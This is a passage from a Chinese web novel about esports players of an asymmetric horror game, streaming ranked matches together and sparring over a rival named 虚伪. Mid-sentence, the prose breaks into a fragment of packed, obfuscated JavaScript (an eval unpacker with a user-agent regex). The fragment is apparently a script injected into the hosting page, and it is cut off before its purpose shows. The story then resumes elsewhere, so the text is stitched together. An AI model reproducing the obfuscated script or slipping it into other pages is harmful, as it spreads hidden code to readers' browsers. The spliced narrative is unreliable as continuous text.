“打排位，”游言咬牙切齿，“不然打你？” “我进队伍了，你直接开就行。” 白溪石说着，手指松动，游言的氪金榜上同步炸开出一朵绚丽的大烟花。 “资助你吃饭的，”不等游言问，白溪石笑笑，“不用还了。” 他知道游言家里不怎么样，ETC又是联赛出了名的寒门出高徒，公开讨论工资在IVL是令行禁止的，但从先前他们爆出来的大瓜和经理发布的离职声明可以推测，游言的经济水平处在联赛下层，不然不会这么拮据。 就算这样，只要是认识的选手送他礼物，游言都会在一周之内找机会送回去，突出一个不亏不欠。 白溪石说这话是为了堵死他的路，一方面吃准了游言好面子，不会追着死缠烂打，另一方面，他也不想一片好心被人当作驴肝肺，不给余地是最好。 没错，在游言看来这么做是两不相欠，我不求你，你也别说帮过我。 但大部分中产阶级是不缺这点钱的，他们更注重仪表和礼数，被完璧归赵无论是谁心里都不舒服。 这一份“千灯”在汀千是一千九百九十九，快赶上游言月入的一半了，他张张口想说什么，话未出口就被早有先见之明的白溪石噎在喉咙里，硬生生咽下去。 游言：“……我有的是地方吃饭，谁稀罕你这点臭钱。” 话是句句带刺的，音量却小了很多。 白溪石乐了，压在心口的沉闷都连带着舒缓不少：“主播，你的舰长谢辞呢？” 【老板糊涂！】 【又有傻缺花高价来买劣质狗粮。】 【被咬几口就老实了。】 【世界名画，我准备录音了。】 【狗哥你补药念啊！伪酱快来！［大哭］】 千奇百怪的弹幕看得白溪石莫名其妙，这是什么情况，不就开了个自动续费的舰长加送出千元礼物么，至于这么大惊小怪，还叫虚伪，怎么搞得像他在做什么道德沦陷的不可描述之事一样？ 很快，游言的声音为他解答了疑惑。 “欢迎主人…大驾光临。”游言几乎是吸着氧憋出去的这句话。 “什么？”白溪石脑子有点宕机，表情不亚于当街看到一个裸.奔的人。 “舰长谢辞啊。”他的视野里，游言揉了会儿耳朵，这才不耐烦地盯上摄像头。 白溪石愣了三秒，噗嗤一声，笑喷了。 “我去不是，狗哥，你玩这么变态的？” 好久之前搞的抽象玩意了，主要打职业后重心点不放在直播上，有段时间没收到过大礼，谁算得到白溪石今天突然发癫。 游言翻白眼，最难的那句话出口后接下来便开始飞速吟唱：“谢谢主人，祝主人永远不死大富大贵，福如东海寿比南山，拳打北极脚南洲，人见人爱花见花开车见车爆胎，好久没有收到过这么贵重的礼物了，希望下个月还能见到主人哦～～” 他念完了，白溪石还在爆笑，趴在桌上锤得咚咚作响。 “不行我的肚子，笑死我了，有没有录屏，有录屏没有我要发给虚伪。” 刚给他点阳光就灿烂，白溪石一作死就有不少弹幕迎合，纷纷让他私聊。 被两方联合刺激，游言消下去的火气一下又上来了。 “发你妹，赶紧准备，我都取消好几班车了。” “要是伪酱知道自己偶像拿钱就能收买的话还用这么麻烦，天天往你直播间打钱就得了。” 白溪石这时已经和弹幕沆瀣一气，满脑子被那句“你也不想虚伪知道吧”荼毒了，贼兮兮笑了两声—— 成功招来了游言忍无可忍的一句警告。 “准备啊你妈的，别逼我抽你。” 白溪石百忙之中扫一眼屏幕点击准备，心里还酝酿着怎么阴一手游言，他算是发现了，只要一提到江柏，游言就跟瘪了的气球一样岔开话题，沦为口齿不灵的笨拙蠢猪。 这可乐坏了先前被他怼得那么惨的白溪石，是时候该连本带利一起讨回来了。 我的回合，接招吧！ ——以上只是某个中二病的单方面战书，实际的情况是白溪石和游言进入游戏后就开始讨论战术，刚才的火药味消失得无影无踪。 没办法，人格可以侮辱，游戏绝不能输，这就是职业选手的优秀素养。 由于是赛季末，第一把排到了普通五阶屠，虽是两外行，但纸面数据也算七阶，打这段位的屠还是随便溜的。 白溪石玩的击球手，两台机去打团把机子拖够了，最终争了个赢局，由于队友太给力，游言这把都没怎么和屠夫见上面，退出游戏才发现是B牌隐士。 “你怎么才五阶？”若非看见结算画面段位，游言都不知道他这么懒。 “我倒是想休息，可是赛事组安排得紧，多空闲一会儿都不行，比不了你那么悠闲。”白溪石说着，一口憧憬似的语气，一提到赛事就想起新屠，心里在意得不行，但他还是要膈应一下游言。 “呵呵，”游言笑了，“再忙如今也闲下来了。” IL四进二半决赛被QR狠狠打烂谁人不知啊，要恶心那就大家都别好过。 “四轮游还是比一轮游好的。”白溪石感慨。 “都在海里还分个高低贵贱了。” 游言不屑，点击准备新一轮排位时不知想到了什么，沉吟片刻，说：“估计现在就KS脚不沾地，我昨天看到官方发通告，说请他们去拍冠军特辑综艺。” “那个啊，KS给推了。”白溪石随手选角，消息倒还灵通。 游言侧目：“这还能推的？” “有什么不能，又不是宣传片不拍活不了，”白溪石说，“人家这两天忙着搬新家，哪有时间搞这些有的没的，他们夺冠KS老板跟过年一样，工资都快赶上咱们一般人的身价了。” 游言：“你说这几年IVL热度下滑，赛事奖金都缩水了，一年的开支夺个冠哪里填补得上。” 白溪石：“那些大俱乐部缺的是这点钱吗，缺的是一个金奖杯，一个独一无二的荣誉，你看FK就知道了，他们那个副屠转去EG当主屠，工资不升反降，可见人家多阔绰了。” 作为一个会对全款提车感到惊讶的人，游言确实不是很能理解有钱人的消费观。 听他沉默，白溪石才后知后觉地反应过来，语气里满是玩味。 “我怎么感觉你话里一股酸味啊。” 游言：“吃臭袜子了行不？” 白溪石：“不是说不提虚伪吗，怎么你自己反而说得起劲。” “你耳朵有没有毛病啊，我提的是KS好吗。”游言说。 “行行行KS，KS好了吧，我怕了你了。”白溪石认输。 游言翻了个白眼进入游戏。 “不过我不明白了，你那么排斥伪酱干啥，以后一起打比赛抬头不见低头见的，你还能退役不成？”白溪石搞不懂。 何止是他搞不懂，游言也没处说理去，但他和白溪石疑惑的区域显然没有一丝重合。 “我说你们…这才多久，全天下都知道了？” 夏季总决赛过去还不到一周，几乎每个找他的人都会提一嘴虚伪，游言甚至怀疑他们全是江柏的托。 “互联网时代黑历史都是高清的，你以为呢，”白溪石道，“虚伪确实打得好现在讨论度高， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“狭路相逢勇者胜，”游言笑，“看咱们谁吃谁的分了。” “狗哥你能不能别装逼了，这把我们走一个都难。” 白溪石操作几轮下来天都塌了，自己在地上跪着看园丁被挂飞，最后一台机剩下两人，眼看就是四杀的节奏。 “闭嘴，看你爹操作。” 游言是打屠的还能不知道他们心里在想什么，尤其这把屠夫还拿的是他离婚多年的老婆红夫人，基本是对面投一个镜子他就知道瞄的是哪儿。 最终让游言修开最后一台，溜到白溪石开门，他自己甚至还从月亮河二站台跳下来走了个地窖。 一场惊险的平局。 中期那么好的节奏，对面屠肯定不接受，他一度有四杀的局面，最终却拿了这么个结局。 所以一出游戏，白溪石就见赛后哐哐哐冒出三句。 【全网最悲观［红夫人］：会躲猫猫了不起啊？】 【全网最悲观［红夫人］：除了能苟还能干什么。】 【全网最悲观［红夫人］：囚徒开透了吧走哪都知道我位置。】 “完了，红了红了。” 白溪石看同行破防老开心了，一副过来人的姿态开始语重心长地幸灾乐祸，“哎，玩屠的必经之路罢了，给他浇浇水。” 【咩瑞红温可爱捏。】 【他是不是不知道主播是谁啊。】 【告诉他你才是红夫人毒唯。】 【快，给，她，道，歉！】 游言看了眼时间，八点五十八，时间不够了本想立刻开下一把，看到弹幕都在调戏又停住了。 鬼使神差的，打出了这么一句话。 【TQ丶前狼假寐［囚徒］：对，我开透了，你报警吧。】 【TQ丶前狼假寐［囚徒］：华星搜索一只虚伪吖。】 说完退出了聊天。 白溪石看到这句都快笑疯了。 “狗哥你老实告诉我，是不是你们俱乐部让你装的？” “装什么？”游言点开排位，莫名其妙。 “装和伪酱不合啊。”白溪石一副理所当然的样子。 “你有病吧，老年痴呆症早期了？”游言问。 “干嘛，我合理猜测的，”白溪石一脸认真，“你们俱乐部之间是不是……签署了什么保密协议？” 游言更加丈二和尚摸不着头脑：“什么协议？” “就……” 白溪石无辜地眨眨眼，“你俩炒CP那种？” 游言：“……炒你妈逼。” 他刚想发作，却听一声空灵嗡响，末班车排到了。 理智的声音把即将大打出手的两人扯回了现实，游言告诉自己冷静，打完这把就训练不用忍受这个脑瘫了。 谁知他余光一扫，见弹幕疯狂地刷起了问号。 【我靠我靠我靠撞车了。】 【赛季末的美丽传说说是。】 【四十五分钟了，致敬传奇耐排王虚伪。】 【不会七阶就这几个人吧，今晚来来回回都是他们。】 【狗哥别回头我是残路。】 一看到这个名字，游言就不受控制地心里一跳。 “对面是虚伪？”